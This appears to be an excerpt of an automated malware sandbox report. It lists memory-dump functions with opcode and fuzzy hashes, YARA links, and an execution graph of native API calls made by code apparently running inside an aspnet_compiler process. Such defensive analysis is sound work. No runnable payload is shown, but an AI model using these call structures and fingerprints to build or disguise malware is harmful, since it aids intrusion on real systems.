                  • Instruction ID: eac3065ac5c7fd617e449c7699decb64e4ead588e468500c43b334e5e4b786d9
                  • Opcode Fuzzy Hash: 6d617d61760511041312887e21047d61b0e93e7f8f5c8fccf49f0b71aa8217a5
                  • Instruction Fuzzy Hash: DDF0A070809386DFCB52DB78A81669D7FF4AB42200F1440EBD444EB2A3D6350E05C792
                  Function 0157042C Relevance: .0, Instructions: 25COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 228a9b561d63ccca684877ec132596d156cedc0fcfd6d33e5489df67d11ac2b4
                  • Instruction ID: 6111b2ad9f388a8defdc569d9e5051e0ae2f1d0cb72b1105481141bc4638f061
                  • Opcode Fuzzy Hash: 228a9b561d63ccca684877ec132596d156cedc0fcfd6d33e5489df67d11ac2b4
                  • Instruction Fuzzy Hash: EEF0F238905208EFCB41DFA8E544A9CBBF1FB48310F1080AAE85897361E6319A54EB40
                  Function 01570430 Relevance: .0, Instructions: 22COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 21cdb704460ce0f9cfa9ecb74747abf93891bfb973b2605d2b3ead18f6f13487
                  • Instruction ID: 0b8bab4332cf12b2c251977aa3e9648b0e8737a15131e40c30ccd077ecdfa2a8
                  • Opcode Fuzzy Hash: 21cdb704460ce0f9cfa9ecb74747abf93891bfb973b2605d2b3ead18f6f13487
                  • Instruction Fuzzy Hash: 98F0A574900208EFCB54DFA8D545A9CBBF1FB48310F10C1A9E91897360D7319A50DB41
                  Function 01570C60 Relevance: .0, Instructions: 20COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 331f3e1491be6f470a22f9e38633a85b4f17dce13c406acd9b2e97ed297fe1c8
                  • Instruction ID: a57b0239c331de18b731340f462b61970b05a86c655a972d7053adff0b563831
                  • Opcode Fuzzy Hash: 331f3e1491be6f470a22f9e38633a85b4f17dce13c406acd9b2e97ed297fe1c8
                  • Instruction Fuzzy Hash: 47E01A70D04208EFCB55DFA8E54469DBBF5FB44300F50C1AAD814A3340D7359A91DF80
                  Function 01570B18 Relevance: .0, Instructions: 19COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 26946331e5d8324c048a42f58f633535f264d50e665d6b8aca0fa1da683c7aa9
                  • Instruction ID: 4cd378cb12dc0d950592f113ad1e60d7a04b3a7d393ff7e46f9fae0498cbbdf9
                  • Opcode Fuzzy Hash: 26946331e5d8324c048a42f58f633535f264d50e665d6b8aca0fa1da683c7aa9
                  • Instruction Fuzzy Hash: 68E01270D01208EFCB64EFA8E00469CBBF0EB44305F1081AE9818A7340EB359A40CF80
                  Function 01570238 Relevance: .0, Instructions: 19COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1a78eb5b13365cd4dec204b5c624dda24f0e2345c39fc73f6447908e3fb3bf55
                  • Instruction ID: 9005f6dbafe1e71c872ac354f750bf8b50b01cb523494023e9460cb520644dbd
                  • Opcode Fuzzy Hash: 1a78eb5b13365cd4dec204b5c624dda24f0e2345c39fc73f6447908e3fb3bf55
                  • Instruction Fuzzy Hash: A1E04670D05308EFCB25EFB8E5042ADBBF1AB45301F2081E9D818A3341E7358B40EB80
                  Function 01570580 Relevance: .0, Instructions: 18COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 18696c1265b07525505618a8e9eaeb8ba52aba4b00528c84b3602aecb8003b87
                  • Instruction ID: a94280680c69e83f43ee675e5676c37559a755a4e525618ade1d478e762aa128
                  • Opcode Fuzzy Hash: 18696c1265b07525505618a8e9eaeb8ba52aba4b00528c84b3602aecb8003b87
                  • Instruction Fuzzy Hash: 80E0B674911208DFCB54DFA8E549A9CBFF4AB09311F5041A9E90497360E7319A50DF81
                  Function 01570AC8 Relevance: .0, Instructions: 17COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4f2a0066dffdb9ebc18c7dfe0288181fb5646f2187fd29a6f3a80d554aae8e21
                  • Instruction ID: aba466fe09769351aa6c22b7476a714c14586ec842c14cfcad463431701e079e
                  • Opcode Fuzzy Hash: 4f2a0066dffdb9ebc18c7dfe0288181fb5646f2187fd29a6f3a80d554aae8e21
                  • Instruction Fuzzy Hash: 4AD0C770900209EFCB00EFA8E902B9EBBF9AB04210F2080A8A804E7350EA300E00DB80
                  Function 015703E0 Relevance: .0, Instructions: 17COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ea9b4fed9996863a21cc952944a00762181a17d51dbd714a6d219fa14f980294
                  • Instruction ID: 9cc0e8c319d8f8f74425eb7539cfe13aba70618e6ce5bfbcf7cf37d498276ffa
                  • Opcode Fuzzy Hash: ea9b4fed9996863a21cc952944a00762181a17d51dbd714a6d219fa14f980294
                  • Instruction Fuzzy Hash: C8D0C270900208EFC704DFA8E40169E77F9FB04200F1040A8940493240DB319E40DB81

                  Non-executed Functions

                  Function 014E3BB7 Relevance: 2.7, Strings: 2, Instructions: 235COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: cq0{$cq0{
                  • API String ID: 0-2062232984
                  • Opcode ID: e371e2fdabccc35f10bf28acafac3d8ad9eac529bd07b3132af949a31b53e75f
                  • Instruction ID: 0a2227669486eb05a3cab4226e47bc680d65ebc981d53e87007962ae900b11e3
                  • Opcode Fuzzy Hash: e371e2fdabccc35f10bf28acafac3d8ad9eac529bd07b3132af949a31b53e75f
                  • Instruction Fuzzy Hash: B4916B75C093988FDB12DFB9D8646DDBFB0BF06314F1840ABD480EB2A2D6788849CB55
                  Function 014E5244 Relevance: 2.6, Strings: 2, Instructions: 136COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: cq0{$cq0{
                  • API String ID: 0-2062232984
                  • Opcode ID: 7ec94386cdd0563a2d2bbddb04af81a438627bbcad33d9e1c9886c714ec579ff
                  • Instruction ID: 2e9c455d5d61f9d0202762ae5145cafb088e85ec7caf037e41279620e0a45d2b
                  • Opcode Fuzzy Hash: 7ec94386cdd0563a2d2bbddb04af81a438627bbcad33d9e1c9886c714ec579ff
                  • Instruction Fuzzy Hash: DE51E2B4D002589FDB14CFA9D988AEEBBF1FF49304F14812AE415AB364DBB49845CF94
                  Function 014E4E75 Relevance: 2.6, Strings: 2, Instructions: 135COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: cq0{$cq0{
                  • API String ID: 0-2062232984
                  • Opcode ID: 26bec4ddaccdd58084ba163386dfcd79e608af4b167d823757beb7f9508755a1
                  • Instruction ID: 46f1e17346855f9a8417c4a014951b906d3138391f9575a1e3aa59b658130653
                  • Opcode Fuzzy Hash: 26bec4ddaccdd58084ba163386dfcd79e608af4b167d823757beb7f9508755a1
                  • Instruction Fuzzy Hash: 395111B4D002588FDB14CFA9D988BAEBBF1BF49704F24812AE414AB364DB749845CF84
                  Function 014E3B4C Relevance: 2.6, Strings: 2, Instructions: 134COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: cq0{$cq0{
                  • API String ID: 0-2062232984
                  • Opcode ID: 75b03ddec5a15ae2c90f2cea14107664fc7f33f4cf3b9a1c21df091079c3ead9
                  • Instruction ID: c5064e29dfd9ce53fe205145f967e939a09fd0269b05358810041c9973e975d5
                  • Opcode Fuzzy Hash: 75b03ddec5a15ae2c90f2cea14107664fc7f33f4cf3b9a1c21df091079c3ead9
                  • Instruction Fuzzy Hash: 005100B4D002588FDB14CFA9D998BAEBBF1BF49305F24812AE415BB364DB749845CF84
                  Function 014E3B64 Relevance: 2.6, Strings: 2, Instructions: 134COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: cq0{$cq0{
                  • API String ID: 0-2062232984
                  • Opcode ID: 8978ae64d0422196c2e055d22790611ab859e8d1fbaf0304b047e7bc7ae48e1e
                  • Instruction ID: 808cf2e8581a4d2bf6613fa6de394a552df0bfd7df8aaaff6792b4a6ff080ffd
                  • Opcode Fuzzy Hash: 8978ae64d0422196c2e055d22790611ab859e8d1fbaf0304b047e7bc7ae48e1e
                  • Instruction Fuzzy Hash: BB51E0B4D002588FDB14DFA9C988AAEBBF1BF49304F14812AE415BB364DBB49845CF85
                  Function 014E0A78 Relevance: 1.8, Strings: 1, Instructions: 527COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: pnq
                  • API String ID: 0-1150273632
                  • Opcode ID: 90e5b36a7e06693270374c70db0959a203c1f6b7c54f9b137f41f65f36b6af84
                  • Instruction ID: f055902aaf628cd86a500323b90ca953aa15c068e28ba1bc2de38b572e623b78
                  • Opcode Fuzzy Hash: 90e5b36a7e06693270374c70db0959a203c1f6b7c54f9b137f41f65f36b6af84
                  • Instruction Fuzzy Hash: 4E32D075A00218DFDB29CF69C944B99BBB2FF49300F0580E9E509AB365DB31AD91DF50
                  Function 014E2048 Relevance: 1.6, Strings: 1, Instructions: 385COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: pnq
                  • API String ID: 0-1150273632
                  • Opcode ID: 1ed94b9af05701e7b6521d720176470bd4e7d157967847256115c83323bf9065
                  • Instruction ID: dd6c34f8ff511c1d3f84119b6ff49266c38fca81d52f643931b74af5661ff2f9
                  • Opcode Fuzzy Hash: 1ed94b9af05701e7b6521d720176470bd4e7d157967847256115c83323bf9065
                  • Instruction Fuzzy Hash: 2702D079A00218DFDB15CFA9C984E9DBBB2FF49310F1581A9E609AB236D731D991DF00
                  Function 014E2038 Relevance: .1, Instructions: 130COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f6a843b9db37f2db5126c3d3f38617980cf1967c1156e07459bba2d561bd65ee
                  • Instruction ID: 7a9737919c5fc1c96207559f8bba31f607d1f59d47041c45d851c6660407b961
                  • Opcode Fuzzy Hash: f6a843b9db37f2db5126c3d3f38617980cf1967c1156e07459bba2d561bd65ee
                  • Instruction Fuzzy Hash: B951FA75E002188FDB18CFAAD944ADEFBF6BF89301F14C16AD508AB265EB709941CF50

                  Execution Graph

                  Execution Coverage:0.9%
                  Dynamic/Decrypted Code Coverage:4.9%
                  Signature Coverage:8.1%
                  Total number of Nodes:123
                  Total number of Limit Nodes:13
                  execution_graph 84844 424243 84845 42425f 84844->84845 84846 424287 84845->84846 84847 42429b 84845->84847 84848 42bda3 NtClose 84846->84848 84854 42bda3 84847->84854 84850 424290 84848->84850 84851 4242a4 84857 42def3 RtlAllocateHeap 84851->84857 84853 4242af 84855 42bdc0 84854->84855 84856 42bdce NtClose 84855->84856 84856->84851 84857->84853 84945 4245d3 84950 4245ec 84945->84950 84946 42467c 84947 424637 84948 42ddd3 RtlFreeHeap 84947->84948 84949 424647 84948->84949 84950->84946 84950->84947 84951 424677 84950->84951 84952 42ddd3 RtlFreeHeap 84951->84952 84952->84946 84953 42ef93 84954 42efa3 84953->84954 84955 42efa9 84953->84955 84958 42deb3 84955->84958 84957 42efcf 84961 42c0a3 84958->84961 84960 42dece 84960->84957 84962 42c0bd 84961->84962 84963 42c0cb RtlAllocateHeap 84962->84963 84963->84960 84964 42b413 84965 42b42d 84964->84965 84968 1392df0 LdrInitializeThunk 84965->84968 84966 42b452 84968->84966 84858 417063 84859 417087 84858->84859 84860 4170c3 LdrLoadDll 84859->84860 84861 41708e 84859->84861 84860->84861 84862 413583 84866 4135a3 84862->84866 84864 41360c 84865 413602 84866->84864 84867 41aca3 RtlFreeHeap LdrInitializeThunk 84866->84867 84867->84865 84868 4133a3 84871 42c013 84868->84871 84872 42c030 84871->84872 84875 1392c70 LdrInitializeThunk 84872->84875 84873 4133c2 84875->84873 84969 41dd53 84970 41dd79 84969->84970 84974 41de70 84970->84974 84975 42f0c3 84970->84975 84972 41de11 84973 42b463 LdrInitializeThunk 84972->84973 84972->84974 84973->84974 84976 42f033 84975->84976 84977 42deb3 RtlAllocateHeap 84976->84977 84980 42f090 84976->84980 84978 42f06d 84977->84978 84979 42ddd3 RtlFreeHeap 84978->84979 84979->84980 84980->84972 84981 423d96 84982 423d9c 84981->84982 84983 423e23 84982->84983 84984 423e38 84982->84984 84986 42bda3 NtClose 84983->84986 84985 42bda3 NtClose 84984->84985 84989 423e41 84985->84989 84987 423e2c 84986->84987 84988 423e78 84989->84988 84990 42ddd3 RtlFreeHeap 84989->84990 84991 423e6c 84990->84991 84876 401ae8 84877 401afe 84876->84877 84880 42f463 84877->84880 84883 42d993 84880->84883 84884 42d9b9 84883->84884 84893 407263 84884->84893 84886 42d9cf 84887 401b72 84886->84887 84896 41a993 84886->84896 84889 42d9ee 84890 42da03 84889->84890 84891 42c123 ExitProcess 84889->84891 84907 42c123 84890->84907 84891->84890 84910 415d33 84893->84910 84895 407270 84895->84886 84897 41a9bf 84896->84897 84934 41a883 84897->84934 84900 41aa04 84903 41aa20 84900->84903 84905 42bda3 NtClose 84900->84905 84901 41a9ec 84902 41a9f7 84901->84902 84904 42bda3 NtClose 84901->84904 84902->84889 84903->84889 84904->84902 84906 41aa16 84905->84906 84906->84889 84908 42c140 84907->84908 84909 42c14e ExitProcess 84908->84909 84909->84887 84911 415d4d 84910->84911 84913 415d63 84911->84913 84914 42c7a3 84911->84914 84913->84895 84916 42c7bd 84914->84916 84915 42c7ec 84915->84913 84916->84915 84921 42b463 84916->84921 84922 42b47d 84921->84922 84928 1392c0a 84922->84928 84923 42b4a6 84925 42ddd3 84923->84925 84931 42c0e3 84925->84931 84927 42c859 84927->84913 84929 1392c1f LdrInitializeThunk 84928->84929 84930 1392c11 84928->84930 84929->84923 84930->84923 84932 42c0fd 84931->84932 84933 42c10b RtlFreeHeap 84932->84933 84933->84927 84935 41a979 84934->84935 84936 41a89d 84934->84936 84935->84900 84935->84901 84940 42b4f3 84936->84940 84939 42bda3 NtClose 84939->84935 84941 42b50d 84940->84941 84944 13935c0 LdrInitializeThunk 84941->84944 84942 41a96d 84942->84939 84944->84942 84992 42455c 84993 424562 84992->84993 84994 42bda3 NtClose 84993->84994 84996 424567 84993->84996 84995 42458c 84994->84995

                  Executed Functions

                  Function 00417063 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 24 417063-41708c call 42ead3 27 417092-4170a0 call 42f0d3 24->27 28 41708e-417091 24->28 31 4170b0-4170c1 call 42d463 27->31 32 4170a2-4170ad call 42f373 27->32 37 4170c3-4170d7 LdrLoadDll 31->37 38 4170da-4170dd 31->38 32->31 37->38
                  APIs
                  • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004170D5
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_400000_aspnet_compiler.jbxd
                  Yara matches
                  Similarity
                  • API ID: Load
                  • String ID:
                  • API String ID: 2234796835-0
                  • Opcode ID: d1d4f16ca705b75c08d2dd02030cb8e35a3b9e5fbcaa9c1acce442b9868752c5
                  • Instruction ID: d2bdfe92a6df6b11a72e1f8b55d3ed58340993e138cd653c837ef381cf487159
                  • Opcode Fuzzy Hash: d1d4f16ca705b75c08d2dd02030cb8e35a3b9e5fbcaa9c1acce442b9868752c5
                  • Instruction Fuzzy Hash: 000171B5E0020DBBDF10DBE1DC42FDEB778AB14308F0081AAE90897241F675EB488B95
                  Function 0042BDA3 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 49 42bda3-42bddc call 404593 call 42cf73 NtClose
                  APIs
                  • NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042BDD7
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_400000_aspnet_compiler.jbxd
                  Yara matches
                  Similarity
                  • API ID: Close
                  • String ID:
                  • API String ID: 3535843008-0
                  • Opcode ID: 665f723a5e82ca476e461ccdd2d259e5560fa7235934546a3ffd52d987c7a3c7
                  • Instruction ID: d90ea754d99db2d9abd4fcdc73495245e7fae96ad713b828660b781994584198
                  • Opcode Fuzzy Hash: 665f723a5e82ca476e461ccdd2d259e5560fa7235934546a3ffd52d987c7a3c7
                  • Instruction Fuzzy Hash: CDE04F712403147BC610AA5AEC41F9B776CDBC5714F004069FA0C67181C7B5BA1487F4
                  Function 01392DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 64 1392df0-1392dfc LdrInitializeThunk
                  APIs
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: InitializeThunk
                  • String ID:
                  • API String ID: 2994545307-0
                  • Opcode ID: de84c5f1486a8744120141c62cd42a792421830de351d96922f841ea01fffa41
                  • Instruction ID: f193408a96201cc406d6266fe2dc7023656c9b259da8def7772700b1ec20108f
                  • Opcode Fuzzy Hash: de84c5f1486a8744120141c62cd42a792421830de351d96922f841ea01fffa41
                  • Instruction Fuzzy Hash: 9890027570140413E111719C45187070009D7D0246FD5C452A0424558DD6568A56A221
                  Function 01392C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 63 1392c70-1392c7c LdrInitializeThunk
                  APIs
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: InitializeThunk
                  • String ID:
                  • API String ID: 2994545307-0
                  • Opcode ID: ff51e7a7a7f54927ac60b3b70d5913199a773f50f37a3c314737d6c173f49829
                  • Instruction ID: 715e9fe4aa3288be8eb4ff8cccbe8c5c67837b29eccb0878c366be8cdb5b50a0
                  • Opcode Fuzzy Hash: ff51e7a7a7f54927ac60b3b70d5913199a773f50f37a3c314737d6c173f49829
                  • Instruction Fuzzy Hash: 4090027570148802E110719C841874A0005D7D0306F99C451A4424658DC69589957221
                  Function 013935C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 65 13935c0-13935cc LdrInitializeThunk
                  APIs
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: InitializeThunk
                  • String ID:
                  • API String ID: 2994545307-0
                  • Opcode ID: 1d9cac39d44b0b58d2998c6013f9c15776d01e32050135424077ffa3ae8e5779
                  • Instruction ID: 9eb7ceefee369cdea40d228d93f8d639d43af6248c8c9af65430fdee15c0a0e2
                  • Opcode Fuzzy Hash: 1d9cac39d44b0b58d2998c6013f9c15776d01e32050135424077ffa3ae8e5779
                  • Instruction Fuzzy Hash: BA900275B0550402E100719C45287061005D7D0206FA5C451A0424568DC7958A5566A2
                  Function 0042C0E3 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 44 42c0e3-42c121 call 404593 call 42cf73 RtlFreeHeap
                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000004,00000000,55CCCCC3,00000007,00000000,00000004,00000000,004168EC,000000F4), ref: 0042C11C
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_400000_aspnet_compiler.jbxd
                  Yara matches
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: d04050c8db7351cb7c42311d341b67d43b6c02a65ccfbd1526b30e449c1422bb
                  • Instruction ID: d601fce2e6cfc47c523398d08e96a68e9c79fc9ca5f02ac62e6cc3558dbc2de4
                  • Opcode Fuzzy Hash: d04050c8db7351cb7c42311d341b67d43b6c02a65ccfbd1526b30e449c1422bb
                  • Instruction Fuzzy Hash: D4E0EDB2244214BBD614EF99DC41F9B77ADDFC9714F004459FA08A7281D674BD14CAB8
                  Function 0042C0A3 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 39 42c0a3-42c0e1 call 404593 call 42cf73 RtlAllocateHeap
                  APIs
                  • RtlAllocateHeap.NTDLL(?,0041DE11,?,?,00000000,?,0041DE11,?,?,?), ref: 0042C0DC
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_400000_aspnet_compiler.jbxd
                  Yara matches
                  Similarity
                  • API ID: AllocateHeap
                  • String ID:
                  • API String ID: 1279760036-0
                  • Opcode ID: 53b584e200e5f2eb778bd4060701bbb0a480973bbaf0056c1c6602fc846fd21c
                  • Instruction ID: e057fd75638c54c2a83d139f9191c8a4f81c752b1f28dea9c101fe2514506ad0
                  • Opcode Fuzzy Hash: 53b584e200e5f2eb778bd4060701bbb0a480973bbaf0056c1c6602fc846fd21c
                  • Instruction Fuzzy Hash: 68E06DB1204204BBDA14EE99EC41FAB37ACEFC9714F104019FA08A7281C674BD1487F8
                  Function 0042C123 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 54 42c123-42c15c call 404593 call 42cf73 ExitProcess
                  APIs
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_400000_aspnet_compiler.jbxd
                  Yara matches
                  Similarity
                  • API ID: ExitProcess
                  • String ID:
                  • API String ID: 621844428-0
                  • Opcode ID: 29205141e20994605a55deee26b2df85bd7a3aaca56f5563100d8efa15c00275
                  • Instruction ID: 5b3de0624fe0a28c818fb70999a8e3532c71153bdfbe5aac28f931c41c5855af
                  • Opcode Fuzzy Hash: 29205141e20994605a55deee26b2df85bd7a3aaca56f5563100d8efa15c00275
                  • Instruction Fuzzy Hash: 10E086352402147BC610EB5ADC41F9B776CDFC5714F108419FA0CA7181C671BA1487F4
                  Function 01392C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 59 1392c0a-1392c0f 60 1392c1f-1392c26 LdrInitializeThunk 59->60 61 1392c11-1392c18 59->61
                  APIs
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: InitializeThunk
                  • String ID:
                  • API String ID: 2994545307-0
                  • Opcode ID: 5ce7ba760124a321ec70dcecae7d302cc463a48b341a6a694b30ff3fe13bd88b
                  • Instruction ID: 5395af78034d3f37a12e0fef1ddb81c430bc0ab77c9a0f02c67880c08a012418
                  • Opcode Fuzzy Hash: 5ce7ba760124a321ec70dcecae7d302cc463a48b341a6a694b30ff3fe13bd88b
                  • Instruction Fuzzy Hash: 5BB09B71D019C5D5EF11E7A4460C7177900B7D0705F55C061D2030651F4738D1D5E675

                  Non-executed Functions

                  Function 01408D10 Relevance: 37.8, Strings: 30, Instructions: 268COMMONLIBRARYCODE
                  Download Yara Rule
                  Strings
                  • This means that the I/O device reported an I/O error. Check your hardware., xrefs: 01408F26
                  • *** An Access Violation occurred in %ws:%s, xrefs: 01408F3F
                  • The resource is owned exclusively by thread %p, xrefs: 01408E24
                  • *** A stack buffer overrun occurred in %ws:%s, xrefs: 01408DA3
                  • <unknown>, xrefs: 01408D2E, 01408D81, 01408E00, 01408E49, 01408EC7, 01408F3E
                  • write to, xrefs: 01408F56
                  • an invalid address, %p, xrefs: 01408F7F
                  • a NULL pointer, xrefs: 01408F90
                  • This failed because of error %Ix., xrefs: 01408EF6
                  • The instruction at %p tried to %s , xrefs: 01408F66
                  • If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 01408DC4
